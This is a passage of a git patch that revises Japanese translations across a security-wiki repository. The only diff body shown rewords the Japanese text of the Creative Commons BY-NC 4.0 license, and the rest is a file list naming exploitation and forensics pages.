From d9759f56729ee8c48eac17654a34294f24e5c308 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 12:48:08 +0000 Subject: [PATCH] Translated ['src/LICENSE.md', 'src/README.md', 'src/android-forensics.md --- src/LICENSE.md | 94 +- src/README.md | 16 +- src/SUMMARY.md | 1 + src/android-forensics.md | 8 +- src/backdoors/icmpsh.md | 20 +- src/backdoors/salseo.md | 110 +- src/banners/hacktricks-training.md | 12 +- .../arbitrary-write-2-exec/README.md | 4 +- .../aw2exec-__malloc_hook.md | 48 +- .../arbitrary-write-2-exec/aw2exec-got-plt.md | 62 +- .../www2exec-.dtors-and-.fini_array.md | 38 +- .../arbitrary-write-2-exec/www2exec-atexit.md | 284 +- src/binary-exploitation/array-indexing.md | 16 +- .../README.md | 138 +- .../elf-tricks.md | 418 ++- .../tools/README.md | 132 +- .../tools/pwntools.md | 130 +- .../README.md | 26 +- .../aslr/README.md | 228 +- .../aslr/ret2plt.md | 58 +- .../aslr/ret2ret.md | 24 +- .../cet-and-shadow-stack.md | 20 +- .../libc-protections.md | 84 +- .../memory-tagging-extension-mte.md | 70 +- .../no-exec-nx.md | 14 +- .../pie/README.md | 24 +- .../pie/bypassing-canary-and-pie.md | 82 +- .../relro.md | 22 +- .../stack-canaries/README.md | 56 +- .../bf-forked-stack-canaries.md | 126 +- .../stack-canaries/print-stack-canary.md | 18 +- .../common-exploiting-problems.md | 18 +- .../format-strings/README.md | 178 +- .../format-strings-arbitrary-read-example.md | 148 +- .../format-strings/format-strings-template.md | 92 +- src/binary-exploitation/integer-overflow.md | 108 +- src/binary-exploitation/ios-exploiting.md | 253 +- src/binary-exploitation/libc-heap/README.md | 446 ++- .../libc-heap/bins-and-memory-allocations.md | 532 ++-- .../libc-heap/double-free.md | 160 +- .../libc-heap/fast-bin-attack.md | 146 +- .../libc-heap/heap-memory-functions/README.md | 2 +- .../libc-heap/heap-memory-functions/free.md | 482 ++-- .../heap-functions-security-checks.md | 220 +- .../malloc-and-sysmalloc.md | 2444 ++++++++--------- .../libc-heap/heap-memory-functions/unlink.md | 102 +- .../libc-heap/heap-overflow.md | 44 +- .../libc-heap/house-of-einherjar.md | 60 +- .../libc-heap/house-of-force.md | 68 +- .../libc-heap/house-of-lore.md | 54 +- .../libc-heap/house-of-orange.md | 80 +- .../libc-heap/house-of-rabbit.md | 84 +- .../libc-heap/house-of-roman.md | 102 +- .../libc-heap/house-of-spirit.md | 116 +- .../libc-heap/large-bin-attack.md | 58 +- .../libc-heap/off-by-one-overflow.md | 148 +- .../libc-heap/overwriting-a-freed-chunk.md | 20 +- .../libc-heap/tcache-bin-attack.md | 48 +- .../libc-heap/unlink-attack.md | 150 +- .../libc-heap/unsorted-bin-attack.md | 90 +- .../libc-heap/use-after-free/README.md | 12 +- .../libc-heap/use-after-free/first-fit.md | 44 +- .../rop-return-oriented-programing/README.md | 134 +- .../brop-blind-return-oriented-programming.md | 120 +- .../rop-return-oriented-programing/ret2csu.md | 78 +- .../ret2dlresolve.md | 48 +- .../ret2esp-ret2reg.md | 88 +- .../ret2lib/README.md | 116 +- .../ret2lib/one-gadget.md | 20 +- .../ret2lib/ret2lib-+-printf-leak-arm64.md | 124 +- .../rop-leaking-libc-address/README.md | 242 +- .../rop-leaking-libc-template.md | 212 +- .../ret2vdso.md | 16 +- .../rop-syscall-execv/README.md | 70 +- .../rop-syscall-execv/ret2syscall-arm64.md | 62 +- .../README.md | 40 +- .../srop-arm64.md | 82 +- .../stack-overflow/README.md | 62 +- .../stack-overflow/pointer-redirecting.md | 20 +- .../stack-overflow/ret2win/README.md | 78 +- .../stack-overflow/ret2win/ret2win-arm64.md | 74 +- .../stack-pivoting-ebp2ret-ebp-chaining.md | 168 +- .../stack-overflow/stack-shellcode/README.md | 62 +- .../stack-shellcode/stack-shellcode-arm64.md | 30 +- .../stack-overflow/uninitialized-variables.md | 68 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 144 +- .../README.md | 182 +- src/burp-suite.md | 2 +- .../blockchain-and-crypto-currencies.md | 180 +- src/crypto-and-stego/certificates.md | 200 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/crypto-and-stego/crypto-ctfs-tricks.md | 160 +- .../cryptographic-algorithms/README.md | 146 +- .../unpacking-binaries.md | 34 +- .../electronic-code-book-ecb.md | 56 +- src/crypto-and-stego/esoteric-languages.md | 10 +- .../hash-length-extension-attack.md | 42 +- src/crypto-and-stego/padding-oracle-priv.md | 79 +- .../rc4-encrypt-and-decrypt.md | 4 +- src/crypto-and-stego/stego-tricks.md | 128 +- src/cryptography/certificates.md | 182 +- .../cipher-block-chaining-cbc-mac-priv.md | 44 +- src/cryptography/crypto-ctfs-tricks.md | 160 +- src/cryptography/electronic-code-book-ecb.md | 56 +- .../hash-length-extension-attack.md | 40 +- src/cryptography/padding-oracle-priv.md | 84 +- src/cryptography/rc4-encrypt-and-decrypt.md | 4 +- src/emails-vulns.md | 3 +- .../linux-exploiting-basic-esp/README.md | 418 ++- .../linux-exploiting-basic-esp/fusion.md | 10 +- src/exploiting/tools/README.md | 128 +- src/exploiting/tools/pwntools.md | 130 +- ...windows-exploiting-basic-guide-oscp-lvl.md | 144 +- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 154 +- .../docker-forensics.md | 78 +- .../file-integrity-monitoring.md | 20 +- .../linux-forensics.md | 360 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../partitions-file-systems-carving/README.md | 242 +- .../file-data-carving-recovery-tools.md | 66 +- .../file-data-carving-tools.md | 45 +- .../pcap-inspection/README.md | 114 +- .../usb-keyboard-pcap-analysis.md | 8 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 26 +- .../.pyc.md | 150 +- .../README.md | 2 +- .../browser-artifacts.md | 168 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 115 +- .../office-file-analysis.md | 28 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 24 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 497 ++-- .../interesting-windows-registry-keys.md | 102 +- .../windows-forensics/windows-processes.md | 96 +- src/generic-hacking/brute-force.md | 378 +-- src/generic-hacking/exfiltration.md | 138 +- src/generic-hacking/reverse-shells/README.md | 10 +- .../expose-local-to-the-internet.md | 32 +- .../reverse-shells/full-ttys.md | 54 +- src/generic-hacking/reverse-shells/linux.md | 230 +- .../reverse-shells/msfvenom.md | 122 +- src/generic-hacking/reverse-shells/windows.md | 300 +- src/generic-hacking/search-exploits.md | 42 +- .../tunneling-and-port-forwarding.md | 326 +-- .../basic-forensic-methodology/README.md | 32 +- .../anti-forensic-techniques.md | 148 +- .../docker-forensics.md | 78 +- .../file-integrity-monitoring.md | 20 +- .../image-acquisition-and-mount.md | 49 +- .../linux-forensics.md | 360 +-- .../malware-analysis.md | 110 +- .../memory-dump-analysis/README.md | 34 +- .../volatility-cheatsheet.md | 340 +-- .../partitions-file-systems-carving/README.md | 242 +- .../file-data-carving-recovery-tools.md | 66 +- .../pcap-inspection/README.md | 118 +- .../pcap-inspection/dnscat-exfiltration.md | 28 +- .../suricata-and-iptables-cheatsheet.md | 118 +- .../pcap-inspection/usb-keystrokes.md | 8 +- .../pcap-inspection/wifi-pcap-analysis.md | 22 +- .../pcap-inspection/wireshark-tricks.md | 116 +- .../.pyc.md | 152 +- .../README.md | 2 +- .../browser-artifacts.md | 168 +- .../desofuscation-vbs-cscript.exe.md | 42 +- .../local-cloud-storage.md | 115 +- .../office-file-analysis.md | 28 +- .../pdf-file-analysis.md | 30 +- .../png-tricks.md | 6 +- .../video-and-audio-file-analysis.md | 12 +- .../zips-tricks.md | 16 +- .../windows-forensics/README.md | 504 ++-- .../interesting-windows-registry-keys.md | 102 +- .../external-recon-methodology/README.md | 541 ++-- .../github-leaked-secrets.md | 13 +- .../wide-source-code-search.md | 18 +- .../pentesting-methodology.md | 142 +- .../pentesting-network/README.md | 590 ++-- .../pentesting-network/dhcpv6.md | 36 +- .../pentesting-network/eigrp-attacks.md | 96 +- .../glbp-and-hsrp-attacks.md | 156 +- .../pentesting-network/ids-evasion.md | 56 +- .../lateral-vlan-segmentation-bypass.md | 34 +- .../network-protocols-explained-esp.md | 52 +- .../pentesting-network/nmap-summary-esp.md | 258 +- .../pentesting-network/pentesting-ipv6.md | 120 +- ...-ns-mdns-dns-and-wpad-and-relay-attacks.md | 116 +- .../spoofing-ssdp-and-upnp-devices.md | 32 +- .../pentesting-network/webrtc-dos.md | 36 +- .../pentesting-wifi/README.md | 617 ++--- .../pentesting-wifi/evil-twin-eap-tls.md | 40 +- .../phishing-methodology/README.md | 396 ++- .../phishing-methodology/clone-a-website.md | 22 +- .../phishing-methodology/detecting-phising.md | 66 +- .../phishing-documents.md | 164 +- .../python/README.md | 18 +- .../python/basic-python.md | 280 +- .../python/bruteforce-hash-few-chars.md | 52 +- .../python/bypass-python-sandboxes/README.md | 735 +++-- .../load_name-load_const-opcode-oob-read.md | 224 +- ...s-pollution-pythons-prototype-pollution.md | 206 +- .../python/pyscript.md | 214 +- .../python/python-internal-read-gadgets.md | 30 +- .../python/venv.md | 18 - .../python/web-requests.md | 75 +- .../threat-modeling.md | 96 +- .../escaping-from-gui-applications.md | 326 +-- .../firmware-analysis/README.md | 214 +- .../firmware-analysis/bootloader-testing.md | 62 +- .../firmware-analysis/firmware-integrity.md | 38 +- .../physical-attacks.md | 54 +- src/interesting-http.md | 25 +- .../bypass-bash-restrictions/README.md | 100 +- .../README.md | 98 +- .../ddexec.md | 78 +- src/linux-hardening/freeipa-pentesting.md | 122 +- .../linux-environment-variables.md | 88 +- .../linux-post-exploitation/README.md | 46 +- .../pam-pluggable-authentication-modules.md | 44 +- .../linux-privilege-escalation-checklist.md | 218 +- .../privilege-escalation/README.md | 202 +- .../privilege-escalation/cisco-vmanage.md | 46 +- .../containerd-ctr-privilege-escalation.md | 28 +- ...-command-injection-privilege-escalation.md | 460 ++-- .../docker-security/README.md | 64 +- ...-docker-socket-for-privilege-escalation.md | 6 +- .../docker-security/apparmor.md | 44 +- ...uthn-docker-access-authorization-plugin.md | 26 +- .../docker-security/cgroups.md | 18 +- .../README.md | 40 +- .../docker-release_agent-cgroups-escape.md | 6 +- ...se_agent-exploit-relative-paths-to-pids.md | 16 +- .../sensitive-mounts.md | 12 +- .../docker-security/docker-privileged.md | 20 +- .../namespaces/cgroup-namespace.md | 10 +- .../namespaces/ipc-namespace.md | 32 +- .../namespaces/mount-namespace.md | 18 +- .../namespaces/network-namespace.md | 14 +- .../namespaces/pid-namespace.md | 20 +- .../namespaces/time-namespace.md | 6 +- .../namespaces/user-namespace.md | 40 +- .../namespaces/uts-namespace.md | 30 +- .../docker-security/seccomp.md | 6 +- .../docker-security/weaponizing-distroless.md | 2 +- .../electron-cef-chromium-debugger-abuse.md | 114 +- .../escaping-from-limited-bash.md | 170 +- .../privilege-escalation/euid-ruid-suid.md | 193 +- .../interesting-groups-linux-pe/README.md | 36 +- .../ld.so.conf-example.md | 12 +- .../linux-active-directory.md | 12 +- .../linux-capabilities.md | 108 +- .../privilege-escalation/logstash.md | 4 +- .../nfs-no_root_squash-misconfiguration-pe.md | 14 +- .../payloads-to-execute.md | 2 +- .../runc-privilege-escalation.md | 2 +- .../privilege-escalation/selinux.md | 6 +- .../socket-command-injection.md | 2 +- .../splunk-lpe-and-persistence.md | 16 +- .../ssh-forward-agent-exploitation.md | 8 +- .../wildcards-spare-tricks.md | 12 +- .../privilege-escalation/write-to-root.md | 2 +- src/linux-hardening/useful-linux-commands.md | 52 +- .../useful-linux-commands/README.md | 2 +- .../bypass-bash-restrictions.md | 8 +- .../interesting-groups-linux-pe.md | 17 +- .../macos-auto-start-locations.md | 146 +- .../macos-red-teaming/README.md | 16 +- .../macos-red-teaming/macos-keychain.md | 24 +- .../macos-red-teaming/macos-mdm/README.md | 24 +- ...nrolling-devices-in-other-organisations.md | 8 +- .../README.md | 10 +- .../macos-function-hooking.md | 16 +- .../mac-os-architecture/macos-iokit.md | 24 +- .../macos-applefs.md | 8 +- .../macos-basic-objective-c.md | 8 +- .../macos-defensive-apps.md | 2 +- ...yld-hijacking-and-dyld_insert_libraries.md | 6 +- .../macos-file-extension-apps.md | 8 +- .../macos-gcd-grand-central-dispatch.md | 15 +- .../macos-privilege-escalation.md | 14 +- .../macos-protocols.md | 26 +- .../macos-users.md | 6 +- src/macos-hardening/macos-useful-commands.md | 7 +- src/online-platforms-with-api.md | 75 +- src/other-web-tricks.md | 28 +- src/pentesting-dns.md | 6 +- .../hacking-jwt-json-web-tokens.md | 24 +- src/post-exploitation.md | 18 +- ...itive-information-disclosure-from-a-web.md | 14 +- 295 files changed, 13528 insertions(+), 17016 deletions(-) diff --git a/src/LICENSE.md b/src/LICENSE.md index 7d8083162..e520332cf 100644 --- a/src/LICENSE.md +++ b/src/LICENSE.md @@ -11,75 +11,75 @@ # 表示-非営利 4.0 国際 -クリエイティブ・コモンズ社(「クリエイティブ・コモンズ」)は法律事務所ではなく、法的サービスや法的助言を提供しません。クリエイティブ・コモンズの公共ライセンスの配布は、弁護士-クライアント関係やその他の関係を生じさせるものではありません。クリエイティブ・コモンズは、そのライセンスおよび関連情報を「現状のまま」提供します。クリエイティブ・コモンズは、そのライセンス、ライセンス条件に基づく資料、または関連情報について、いかなる保証も行いません。クリエイティブ・コモンズは、その使用から生じる損害について、可能な限りすべての責任を否認します。 +クリエイティブ・コモンズ法人(「クリエイティブ・コモンズ」)は法律事務所ではなく、法的サービスや法的助言を提供しません。クリエイティブ・コモンズの公的ライセンスの配布は、弁護士-クライアント関係やその他の関係を生じさせるものではありません。クリエイティブ・コモンズは、そのライセンスおよび関連情報を「現状のまま」提供します。クリエイティブ・コモンズは、そのライセンス、ライセンス条件に基づく資料、または関連情報について、いかなる保証も行いません。クリエイティブ・コモンズは、その使用から生じる損害について、可能な限り全ての責任を否認します。 -## クリエイティブ・コモンズ公共ライセンスの使用 +## クリエイティブ・コモンズ公的ライセンスの使用 -クリエイティブ・コモンズの公共ライセンスは、著作権および以下の公共ライセンスに指定された特定の他の権利の対象となるオリジナルの著作物やその他の資料を共有するために、クリエイターや他の権利者が使用できる標準的な条件を提供します。以下の考慮事項は情報提供のみを目的としており、網羅的ではなく、当社のライセンスの一部を形成するものではありません。 +クリエイティブ・コモンズ公的ライセンスは、著作権および公的ライセンスの下で指定された特定の他の権利に従って、創作者や他の権利者が著作物やその他の資料を共有するために使用できる標準的な条件を提供します。以下の考慮事項は情報提供のみを目的としており、網羅的ではなく、当社のライセンスの一部を形成するものではありません。 -- **ライセンサーへの考慮事項:** 当社の公共ライセンスは、著作権および特定の他の権利によって制限される方法で資料を使用するための公的な許可を与える権限を持つ者によって使用されることを意図しています。当社のライセンスは取り消し不可能です。ライセンサーは、選択したライセンスの条件を適用する前に、その条件を読み理解する必要があります。ライセンサーは、公共が期待通りに資料を再利用できるように、ライセンスを適用する前に必要なすべての権利を確保する必要があります。ライセンサーは、ライセンスの対象とならない資料を明確に示す必要があります。これには、他のCCライセンスの資料や、著作権の例外または制限の下で使用される資料が含まれます。[ライセンサーへのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)。 +- **ライセンサーへの考慮事項:** 当社の公的ライセンスは、著作権および特定の他の権利によって制限される方法で資料を使用するための公的許可を与える権限を持つ者によって使用されることを意図しています。当社のライセンスは取り消し不可能です。ライセンサーは、選択したライセンスの条件を適用する前に、その条件を読み理解する必要があります。ライセンサーは、資料が期待通りに再利用されるように、ライセンスを適用する前に必要なすべての権利を確保する必要があります。ライセンサーは、ライセンスの対象とならない資料を明確に示す必要があります。これには、他のCCライセンスの資料や、著作権の例外または制限の下で使用される資料が含まれます。[ライセンサーへのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)。 -- **一般の人々への考慮事項:** 当社の公共ライセンスのいずれかを使用することにより、ライセンサーは、指定された条件の下でライセンスされた資料を使用する許可を一般に与えます。ライセンサーの許可が必要ない理由がある場合(たとえば、著作権の適用可能な例外または制限のため)、その使用はライセンスによって規制されません。当社のライセンスは、ライセンサーが付与する権限の下でのみ、著作権および特定の他の権利に基づく許可を付与します。ライセンスされた資料の使用は、他の理由(他者がその資料に著作権または他の権利を持っているためなど)によって制限される場合があります。ライセンサーは、すべての変更がマークまたは記述されるように求めるなど、特別なリクエストを行うことがあります。当社のライセンスによって要求されてはいませんが、合理的な範囲でそのリクエストを尊重することをお勧めします。[一般の人々へのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees)。 +- **公衆への考慮事項:** 当社の公的ライセンスのいずれかを使用することにより、ライセンサーは、指定された条件の下でライセンスされた資料を使用する公衆への許可を与えます。ライセンサーの許可が必要ない理由がある場合(例えば、著作権の適用可能な例外または制限のため)、その使用はライセンスによって規制されません。当社のライセンスは、ライセンサーが付与する権限の下でのみ、著作権および特定の他の権利に基づく許可を付与します。ライセンスされた資料の使用は、他の理由(他者がその資料に著作権または他の権利を持っているため)によって制限される場合があります。ライセンサーは、すべての変更がマークまたは記述されるように求める特別なリクエストを行うことがあります。当社のライセンスによって要求されていない場合でも、合理的な範囲でそのリクエストを尊重することをお勧めします。[公衆へのさらなる考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees)。 -# クリエイティブ・コモンズ 表示-非営利 4.0 国際公共ライセンス +# クリエイティブ・コモンズ 表示-非営利 4.0 国際公的ライセンス -ライセンスされた権利(以下で定義)を行使することにより、あなたはこのクリエイティブ・コモンズ 表示-非営利 4.0 国際公共ライセンス(「公共ライセンス」)の条件に拘束されることに同意します。この公共ライセンスが契約として解釈される範囲で、あなたはこれらの条件を受け入れることに対する対価としてライセンスされた権利を付与され、ライセンサーはこれらの条件の下でライセンスされた資料を利用可能にすることから得られる利益に対する対価としてあなたにその権利を付与します。 +ライセンスされた権利(以下で定義)を行使することにより、あなたはこのクリエイティブ・コモンズ 表示-非営利 4.0 国際公的ライセンス(「公的ライセンス」)の条件に拘束されることに同意します。この公的ライセンスが契約として解釈される範囲で、あなたはこれらの条件を受け入れることに対する対価としてライセンスされた権利を付与され、ライセンサーはこれらの条件の下でライセンスされた資料を利用可能にすることから得られる利益に対する対価としてあなたにその権利を付与します。 ## 第1節 – 定義。 -a. **適応資料**とは、著作権および類似の権利の対象となる資料で、ライセンスされた資料から派生または基づいており、ライセンスされた資料が翻訳、変更、編成、変換、またはその他の方法でライセンサーが保有する著作権および類似の権利の下で許可を必要とする方法で修正されているものを指します。この公共ライセンスの目的上、ライセンスされた資料が音楽作品、パフォーマンス、または音声録音である場合、適応資料は常にライセンスされた資料が動画像と同期している場合に生成されます。 +a. **適応資料**とは、著作権および類似の権利の対象となる資料で、ライセンスされた資料から派生または基づいており、ライセンスされた資料が翻訳、変更、編成、変換、またはその他の方法でライセンサーが保持する著作権および類似の権利の下で許可を必要とする方法で修正されているものを指します。この公的ライセンスの目的上、ライセンスされた資料が音楽作品、パフォーマンス、または音声録音である場合、適応資料は常にライセンスされた資料が動画像と同期している場合に生成されます。 b. **アダプターのライセンス**とは、あなたが適応資料への貢献における著作権および類似の権利に適用するライセンスを指します。 -c. **著作権および類似の権利**とは、著作権および/または著作権に密接に関連する類似の権利を指し、パフォーマンス、放送、音声録音、Sui Generisデータベース権を含むがこれに限定されない、権利のラベルや分類に関係なく、著作権および類似の権利の対象となる権利を指します。この公共ライセンスの目的上、第2節(b)(1)-(2)に指定された権利は著作権および類似の権利ではありません。 +c. **著作権および類似の権利**とは、著作権および/または著作権に密接に関連する類似の権利を指し、パフォーマンス、放送、音声録音、Sui Generisデータベース権を含むがこれに限定されない、権利のラベルや分類に関係なく、著作権および類似の権利の対象となる権利を指します。この公的ライセンスの目的上、第2節(b)(1)-(2)で指定された権利は著作権および類似の権利ではありません。 d. **有効な技術的手段**とは、適切な権限がない場合に、1996年12月20日に採択されたWIPO著作権条約第11条の義務を履行する法律の下で回避できない手段を指します。 e. **例外および制限**とは、公正使用、公正取引、および/またはライセンスされた資料の使用に適用される著作権および類似の権利に対するその他の例外または制限を指します。 -f. **ライセンスされた資料**とは、ライセンサーがこの公共ライセンスを適用した芸術的または文学的作品、データベース、またはその他の資料を指します。 +f. **ライセンスされた資料**とは、ライセンサーがこの公的ライセンスを適用した芸術的または文学的作品、データベース、またはその他の資料を指します。 -g. **ライセンスされた権利**とは、この公共ライセンスの条件に従ってあなたに付与される権利を指し、ライセンスされた資料の使用に適用されるすべての著作権および類似の権利に限定され、ライセンサーがライセンスを付与する権限を持つ権利を指します。 +g. **ライセンスされた権利**とは、この公的ライセンスの条件に従ってあなたに付与される権利を指し、ライセンスされた資料の使用に適用されるすべての著作権および類似の権利に限定され、ライセンサーがライセンスを付与する権限を持つ権利を指します。 -h. **ライセンサー**とは、この公共ライセンスの下で権利を付与する個人または団体を指します。 +h. **ライセンサー**とは、この公的ライセンスの下で権利を付与する個人または団体を指します。 -i. **非営利**とは、主に商業的利益または金銭的報酬を目的としないことを意味します。この公共ライセンスの目的上、著作権および類似の権利の対象となる他の資料との交換がデジタルファイル共有または類似の手段によって行われる場合、金銭的報酬の支払いがない限り、それは非営利と見なされます。 +i. **非営利**とは、主に商業的利益または金銭的報酬を目的としないことを意味します。この公的ライセンスの目的上、著作権および類似の権利の対象となる他の資料との交換がデジタルファイル共有または類似の手段によって行われる場合、金銭的報酬の支払いがない限り、非営利と見なされます。 -j. **共有**とは、ライセンスされた権利の下で許可を必要とする手段またはプロセスによって資料を一般に提供することを意味し、複製、公共表示、公共パフォーマンス、配布、普及、通信、または輸入を含み、一般の人々が自分で選んだ場所と時間から資料にアクセスできるようにすることを意味します。 +j. **共有**とは、ライセンスされた権利の下で許可を必要とする手段またはプロセスによって資料を公衆に提供することを意味し、複製、公の表示、公のパフォーマンス、配布、普及、通信、または輸入を含み、資料を公衆に利用可能にすることを含みます。公衆のメンバーが自分で選んだ場所と時間から資料にアクセスできる方法で提供されます。 k. **Sui Generisデータベース権**とは、1996年3月11日の欧州議会および理事会の指令96/9/ECに基づく著作権以外の権利を指し、データベースの法的保護に関するもので、改正または後継のもの、または世界のどこにでも本質的に同等の権利を指します。 -l. **あなた**とは、この公共ライセンスの下でライセンスされた権利を行使する個人または団体を指します。あなたには対応する意味があります。 +l. **あなた**とは、この公的ライセンスの下でライセンスされた権利を行使する個人または団体を指します。あなたには対応する意味があります。 ## 第2節 – 範囲。 a. **_ライセンスの付与._** -1. この公共ライセンスの条件に従い、ライセンサーはここに、ライセンスされた資料におけるライセンスされた権利を行使するための、全世界的、ロイヤリティフリー、再ライセンス不可、非独占的、取り消し不可能なライセンスをあなたに付与します: +1. この公的ライセンスの条件に従い、ライセンサーはここにあなたに、ライセンスされた資料におけるライセンスされた権利を行使するための全世界的、ロイヤリティフリー、再ライセンス不可、非独占的、取り消し不可能なライセンスを付与します: A. ライセンスされた資料を、全体または一部を、非営利目的のみに複製および共有すること;および -B. 非営利目的のみに適応資料を制作、複製、および共有すること。 +B. 非営利目的のみに適応資料を作成、複製、および共有すること。 -2. **例外および制限。** あなたの使用に例外および制限が適用される場合、この公共ライセンスは適用されず、その条件に従う必要はありません。 -3. **期間。** この公共ライセンスの期間は第6節(a)に指定されています。 +2. **例外および制限。** あなたの使用に例外および制限が適用される場合、この公的ライセンスは適用されず、その条件に従う必要はありません。 +3. **期間。** この公的ライセンスの期間は第6節(a)に指定されています。 -4. **メディアおよびフォーマット;技術的修正が許可される。** ライセンサーは、あなたが現在知られているか、今後作成されるすべてのメディアおよびフォーマットでライセンスされた権利を行使することを許可し、それを行うために必要な技術的修正を行うことを許可します。ライセンサーは、ライセンスされた権利を行使するために必要な技術的修正を行うことを禁じる権利または権限を放棄し、または主張しないことに同意します。この公共ライセンスの目的上、この第2節(a)(4)によって許可された修正を行うことは、適応資料を生成することはありません。 +4. **メディアおよびフォーマット;技術的修正が許可される。** ライセンサーは、あなたが現在知られているか、今後作成されるすべてのメディアおよびフォーマットでライセンスされた権利を行使することを許可し、それを行うために必要な技術的修正を行うことを許可します。ライセンサーは、ライセンスされた権利を行使するために必要な技術的修正を行うことを禁じる権利または権限を放棄し、または主張しないことに同意します。この公的ライセンスの目的上、この第2節(a)(4)によって許可された修正を行うことは、適応資料を生成することはありません。 5. **下流の受取人。** -A. **ライセンサーからのオファー – ライセンスされた資料。** ライセンスされた資料のすべての受取人は、自動的にこの公共ライセンスの条件の下でライセンスされた権利を行使するオファーをライセンサーから受け取ります。 +A. **ライセンサーからのオファー – ライセンスされた資料。** ライセンスされた資料のすべての受取人は、自動的にこの公的ライセンスの条件の下でライセンスされた権利を行使するオファーをライセンサーから受け取ります。 -B. **下流の制限なし。** あなたは、ライセンスされた資料に対して追加または異なる条件を提供したり、適用したりすることはできません。もしそれがライセンスされた資料の受取人によるライセンスされた権利の行使を制限する場合は、適用できません。 +B. **下流の制限なし。** あなたは、ライセンスされた資料に対して追加または異なる条件を提供したり、適用したりすることはできません。そうすることで、ライセンスされた資料の受取人によるライセンスされた権利の行使が制限される場合は、適用できません。 -6. **承認なし。** この公共ライセンスのいかなる内容も、あなたがライセンスされた資料を使用することがライセンサーまたは他の指定された者によって承認、支持、または公式な地位を与えられていることを主張または暗示する許可を構成するものではありません。 +6. **承認なし。** この公的ライセンスのいかなる内容も、あなたがライセンスされた資料を使用していることが、ライセンサーまたは他の指定された者によって承認、支持、または公式な地位を与えられていることを主張または暗示する許可を構成するものではありません。 b. **_その他の権利._** -1. 道徳的権利、例えば完全性の権利は、この公共ライセンスの下でライセンスされておらず、パブリシティ、プライバシー、および/またはその他の類似の人格権も同様です。ただし、可能な限り、ライセンサーは、ライセンスされた権利を行使するために必要な限度で、ライセンサーが保有するそのような権利を放棄し、または主張しないことに同意しますが、それ以外はありません。 +1. 完全性の権利などの道徳的権利は、この公的ライセンスの下でライセンスされておらず、パブリシティ、プライバシー、および/またはその他の類似の人格権も同様です。ただし、可能な限り、ライセンサーは、ライセンスされた権利を行使するために必要な限られた範囲で、ライセンサーが保持するそのような権利を放棄し、または主張しないことに同意します。 -2. 特許および商標権は、この公共ライセンスの下でライセンスされていません。 +2. 特許および商標権は、この公的ライセンスの下でライセンスされていません。 -3. 可能な限り、ライセンサーは、ライセンスされた権利の行使に対してあなたからロイヤリティを徴収する権利を放棄します。直接的または集金団体を通じて、任意または放棄可能な法定または強制的なライセンス制度の下で。その他のすべてのケースにおいて、ライセンサーはそのようなロイヤリティを徴収する権利を明示的に留保します。ライセンスされた資料が非営利目的以外で使用される場合も含まれます。 +3. 可能な限り、ライセンサーは、ライセンスされた権利の行使に対してあなたからロイヤリティを徴収する権利を放棄します。これは、直接的または集金団体を通じて、任意または放棄可能な法定または強制的なライセンス制度の下で行われます。他のすべてのケースにおいて、ライセンサーはそのようなロイヤリティを徴収する権利を明示的に留保します。これは、ライセンスされた資料が非営利目的以外で使用される場合も含まれます。 ## 第3節 – ライセンス条件。 @@ -91,11 +91,11 @@ a. **_表示._** A. ライセンサーがライセンスされた資料と共に提供した場合、以下を保持する必要があります: -i. ライセンスされた資料のクリエイターおよび表示を受けることに指定された他の者の識別を、ライセンサーが要求する合理的な方法で行うこと(指定された場合はペンネームを含む); +i. ライセンスされた資料の創作者および表示を受けるように指定された他の者の識別を、ライセンサーが要求する合理的な方法で行うこと(指定された場合はペンネームを含む); ii. 著作権表示; -iii. この公共ライセンスを参照する通知; +iii. この公的ライセンスを参照する通知; iv. 保証の否認を参照する通知; @@ -103,37 +103,37 @@ v. ライセンスされた資料へのURIまたはハイパーリンクを、 B. あなたがライセンスされた資料を修正した場合、その旨を示し、以前の修正の指示を保持すること;および -C. ライセンスされた資料がこの公共ライセンスの下でライセンスされていることを示し、この公共ライセンスのテキストまたはURIまたはハイパーリンクを含めること。 +C. ライセンスされた資料がこの公的ライセンスの下でライセンスされていることを示し、この公的ライセンスのテキストまたはURIまたはハイパーリンクを含めること。 -2. あなたは、ライセンスされた資料を共有する際に、メディア、手段、および文脈に基づいて、セクション3(a)(1)の条件を合理的な方法で満たすことができます。たとえば、必要な情報を含むリソースへのURIまたはハイパーリンクを提供することで条件を満たすことが合理的である場合があります。 +2. あなたは、ライセンスされた資料を共有する際のメディア、手段、および文脈に基づいて、セクション3(a)(1)の条件を合理的な方法で満たすことができます。例えば、必要な情報を含むリソースへのURIまたはハイパーリンクを提供することで条件を満たすことが合理的である場合があります。 -3. ライセンサーから要求された場合、あなたは、合理的に実現可能な範囲で、セクション3(a)(1)(A)で要求される情報を削除する必要があります。 +3. ライセンサーから要求された場合、あなたは、合理的に実現可能な範囲で、セクション3(a)(1)(A)で要求される情報のいずれかを削除する必要があります。 -4. あなたが制作した適応資料を共有する場合、あなたが適用するアダプターのライセンスは、適応資料の受取人がこの公共ライセンスに従うことを妨げてはなりません。 +4. あなたが作成した適応資料を共有する場合、あなたが適用するアダプターのライセンスは、適応資料の受取人がこの公的ライセンスに従うことを妨げてはなりません。 ## 第4節 – Sui Generisデータベース権。 -ライセンスされた権利があなたのライセンスされた資料の使用に適用されるSui Generisデータベース権を含む場合: +ライセンスされた権利にあなたのライセンスされた資料の使用に適用されるSui Generisデータベース権が含まれる場合: a. 明確にするために、セクション2(a)(1)は、あなたに対して、非営利目的のみにデータベースの内容のすべてまたは実質的な部分を抽出、再利用、複製、および共有する権利を付与します; -b. あなたがSui 